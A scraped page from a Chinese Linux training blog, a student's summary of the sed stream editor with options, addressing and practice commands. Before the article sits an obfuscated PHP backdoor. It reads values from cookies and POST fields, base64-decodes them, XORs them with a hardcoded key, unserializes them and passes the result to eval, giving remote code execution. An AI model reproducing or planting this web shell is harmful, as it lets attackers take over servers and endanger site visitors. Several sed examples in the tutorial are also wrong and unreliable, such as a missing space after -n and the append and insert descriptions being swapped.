$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 马哥教育21期网络班—第15周课程+练习—-sed 总结 | Linux运维部落

马哥教育21期网络班—第15周课程+练习—-sed 总结

sed:编辑器 流编辑器,文本流编辑

ed: Stream EDitor, 行编辑器;
介绍:sed是 一个非交换性文本流编辑器,它编辑文件或标准输入导出的文本拷贝。标准输入可能来自键盘、文件重定向、字符串或变量,或者管道的文本。
sed可以干什么?
别忘了vi也是一个文本编辑器。sed可以随意编辑小或大的文件,有许多sed命令用来编辑、删除,并允许做这项工作时不在现场。sed一次性处理所有改变,因而变得效率高,节省时间。

sed工作原理

pattem space:模式空间
读取文件一行至模式空间
sed命令是面向行处理的,每次处理一行内容。处理时,sed会把要处理的行存储在缓冲区中,接着用sed命令处理缓冲区的内容,处理完成后,把缓冲区内容送至屏幕。接着处理下一行,不断重复,直到末尾,这个缓冲区被称为"模式空间"。

用法:

sed [选项] sed 命令 输入文件
script: 
	'地址命令'
在命令行使用sed命令时,实际上命令要加单引号,sed也允许加双引号。

常用选项:

-n:不输出模式中的内容至屏幕;
-e: 多点编辑;
-f /PATH/TO/SCRIPT_FILE: 从指定文件中读取编辑脚本;
-r: 支持使用扩展正则表达式;
-i: 原处编辑;
地址定界:
(1) 不给地址:对全文进行处理;
(2) 单地址:
#: 指定的行;
/pattern/:被此处模式所能够匹配到的每一行;
(3) 地址范围:
#,#
#,+#
/pat1/,/pat2/
#,/pat1/
(4) ~:步进
1~2:所有奇数
2~2:所有偶数
编辑命令:
d: 删除
p: 显示模式空间中的内容  地址定界 一块使用,被地址界定的,通常与-n
a \text:在行后面追加文本;支持使用\n实现多行追加;
i \text:在行前面插入文本;支持使用\n实现多行插入;
c \text:替换行为单行或多行文本;
w /path/to/somefile: 保存模式空间匹配到的行至指定文件中;
r /path/from/somefile:读取指定文件的文本流至模式空间中匹配到的行的行后;
=: 为模式空间中的行打印行号;
!: 取反条件; 
s///:支持使用其它分隔符,s@@@,s###;
替换标记:
g: 行内全局替换;
p: 显示替换成功的行;
w /PATH/TO/SOMEFILE:将替换成功的结果保存至指定文件中;
sed 's@r..t@&er@' /etc/passwd  后向引用

练习:

使用-p显示行
print 命令格式为[address,[address]p,一般跟-n选项
显示/etc/passwd第二行
sed -n '2p' /etc/passwd
显示/etc/passwd前三行
sed -n '1,3p' /etc/passwd
显示以root开头的行
sed -n '/^root/p' /etc/passwd
显示已root开头和nologin结尾的行
sed -n '/^root/,/nologin$/p' /etc/passwd
打印最后一行
sed -n  '$p'  /etc/passwd
打印首行
sed -n  '1p'  /etc/passwd
打印全部
sed -n  '1,$p'  /etc/passwd
使用模式和行号进行查找
格式--->line_number,/pattern/
在11行查找root
sed -n  '11,/root/'p  /etc/passwd
显示所有奇数行
sed -n '1~2p' a
显示所有偶数行
sed -n '2~2p' a 
d: 删除
删除/etc/passwd第一行
sed -n'1d' /etc/passwd
删除第一到第三行
sed -n '1,3d' /etc/passwd
删除最后一行
sed '$d' /etc/passwd
删除uucp这个字符串的一行
sed -n  '/uucp/d' passwd 
a \text
在root行前面追加hello word 
sed -i  '/root/ a \hello word' passwd 
i \text
在root行后面追加hello word
sed -i  '/root/ i \hello word' passwd 
c \text
替换root所在的行为hello word 
sed -i  '/root/ c \hello word' passwd 
s///---->替换
替换night为NIGHT
sed -n 's/night/NIGHT/' a
删除第7行的#
sed  '7s/\#//' fstab 
把所有的ntp换成the
sed 's@ntp@the@g' passwd
sed 's#ntp#the#g' passwd
sed 's/ntp/the/g' passwd
把的ntp换成the,替换后的结果保存到sed.out
sed 's/ntp/the/g w sed.out' passwd
删除/boot/grub/grub.conf文件中所有以空白开头的行行首的空白字符;
~]# sed 's@^[[:space:]]\+@@' /etc/grub2.cfg
删除/etc/fstab文件中所有以#开头,后面至少跟一个空白字符的行的行首的#和空白字符;
~]# sed 's@^#[[:space:]]\+@@' /etc/fstab
echo一个绝对路径给sed命令,取出其基名;取出其目录名;
~]# echo "/etc/sysconfig/" | sed 's@[^/]\+/\?$@@'

高级编辑命令:

h: 把模式空间中的内容覆盖至保持空间中;
H:把模式空间中的内容追加至保持空间中;
g: 从保持空间取出数据覆盖至模式空间;
G:从保持空间取出内容追加至模式空间;
x: 把模式空间中的内容与保持空间中的内容进行互换;
n: 读取匹配到的行的下一行至模式空间;
N:追加匹配到的行的下一行至模式空间;
d: 删除模式空间中的行;
D:删除多行模式空间中的所有行;

sed -n 'n;p' FILE:显示偶数行
sed '1!G;h;$!d' FILE:逆向显示文件内容
sed '$!N;$!D' FILE: 取出文件后两行;
sed '$!d' FILE:取出文件最后一行;
sed 'G' FILE: 加空白行
sed '/^$/d;G' FILE: 多空白行合并
sed 'n;d' FILE: 显示奇数行;
sed -n '1!G;h;$p' FILE: 逆向显示文件中的每一行;

一些快速删除命令

's / \ . $ / / g'                 删除以句点结尾行
'-e /abcd/d'                      删除包含a b c d的行
's / [ ] [ ] [ ] * / [ ] / g'     删除一个以上空格,用一个空格代替
's / ^ [ ] [ ] * / / g'           删除行首空格
's / \ . [ ] [ ] * / [ ] / g'     删除句点后跟两个或更多空格,代之以一个空格
'/ ^ $ / d'                       删除空行
's / ^ . / / g'                   删除第一个字符
's /CO L \ ( . . . \ ) / / g'     删除紧跟COL的后三个字母
's / ^ \ / / / g'                 从路径中删除第一个\
's / [ ] / [ ] / / g'             删除所有空格并用tab键替代
'S / ^ [ ] / / g'                 删除行首所有tab键
's / [ ] * / / g'                 删除所有tab键

sed 的一些很有用的替换

显示/etc/passwd中前5行的用户名
head -n 5 passwd | sed 's/:.*$//'
将以d或D开头的行,所有小写x换成大写X
sed '/^[dD]/s/x/X/g' test 
删除每行最后的两个字符
sed 's/..$//' test 
删除每行前两个字符
sed 's/..//' test

&的妙用

[root@localhost ~]# cat b 
Beijing
London
[root@localhost ~]# sed 's/B.*/&2008/' b 
Beijing2008
London
[root@localhost ~]# sed 's/Bei/&2008/' b
Bei2008jing
London

sed中()有深意

echo "hello word" | sed 's/\(hello\).*/word \1/'
定位行范围
sed -n '/2005/,/2007/p' abc
-e选项设置
sed -n -e '1,2p' -e '4p' abc
sed -e 's/Beijing/London/g' -e '/Beijing/d' abc
-f 选项设定command文件
cat callsed 
/2004/,/2006/p
sed -n -f callsed abc
Beijing 2004
Beijing 2005
Beijing 2006
内容插入体验
在2005行下面插入ins.txt
sed '/2005/r ins.txt' abc

sed动作使用

y动作
实现前后字符替换
sed 'y/ei/ie' mysed.txt
y///和s///区别
y的语法格式是y/source/dest,表示将source中的字符对位替换为dest中的字符;而s/regexp/replacement/,表示通过正则匹配到的内容替换为replacement部分。
y只是简单的逐字体换,没有很多花样。s支持&符号和预存储等特性,可以实现更多灵活的替换效果。
sed 'y/ee/ie/' mysed.txt
n动作使用
sed '/200/{n;y/eijing/EIJING/;}' mysed.txt
Beijing 2003
BEIJING 2004
n隔行替换

原创文章,作者:N21_ Dominic,如若转载,请注明出处:http://www.178linux.com/56669

(0)
上一篇 2016-11-14 08:28
下一篇 2016-11-14 08:29

相关推荐

  • bash

    1.  bash的工作特性之命令执行状态返回值和命令行展开所涉及的内容及其示例演示           状态返回值:            &nbsp…

    Linux干货 2016-11-06
  • Linux 磁盘、文件系统管理

    Linux 磁盘、文件系统管理                                               &nb…

    Linux干货 2016-09-01
  • python面向对象

    ##**语言的分类**– 面向机器:汇编语言– 面向过程:c语言– 面向对象:C++ Java Python ##**面向对象**– 类class– 类是抽象的概念,万事万物的抽象,是一类事物的共同特征集合。– 对象instance object– 对象是类的具象,是一个实体…

    Linux干货 2017-11-13
  • Zabbix 新版微信告警 [2017]

    Zabbix 新版微信告警 Zabbix 新版微信告警 date 2017-06-14zabbix Zabbix可以通过多种方式把告警信息发送到指定人,常用的有邮件,短信报警方式,但是越来越多的企业开始使用zabbix结合微信作为主要的告警方式,这样可以及时有效的把告警信息推送到接收人,方便告警的及时处理。 关于邮件报警可以参考: Zabbix 使用脚本发送…

    2017-06-17
  • 磁盘管理及shell脚本编程练习

    1、创建一个10G分区,并格式为ext4文件系统 a) 要求其block大小为2048,预留空间百分比为2,卷标为MYDATA,默认挂载属性包含acl; ~]# mke2fs –t ext4 –b 2048 –m 2 –L MYDATA  /dev/sda3 b) 挂载至/data/madata目录,要求挂载时禁止程序自动运行,且不更新文件的访问时间戳; ~…

    2017-11-15
  • 推荐-​以各种方式实现yum源,简单暴力,绝对实操干货!

    以各种方式实现yum源,简单暴力,绝对实操干货! 科普:yum不是程序包安装工具,而是rpm包前端管理工具,通过yum可以更好的管理rpm的安装卸载 以各种方式实现yum源,简单暴力,绝对实操干货! 一、本地yum源之“挂载光盘镜像实现”! 二、本地yum源之“挂载本地磁盘上的镜像文件”! 三、如能上网,实现自定义指定镜像网站yum源 四、炸天重磅来袭!!!…

    Linux干货 2016-04-11

评论列表(1条)

  • 马哥教育
    马哥教育 2016-11-16 15:49

    是不是还有awk的没有写,sed的写的很棒,期待你的awk的佳作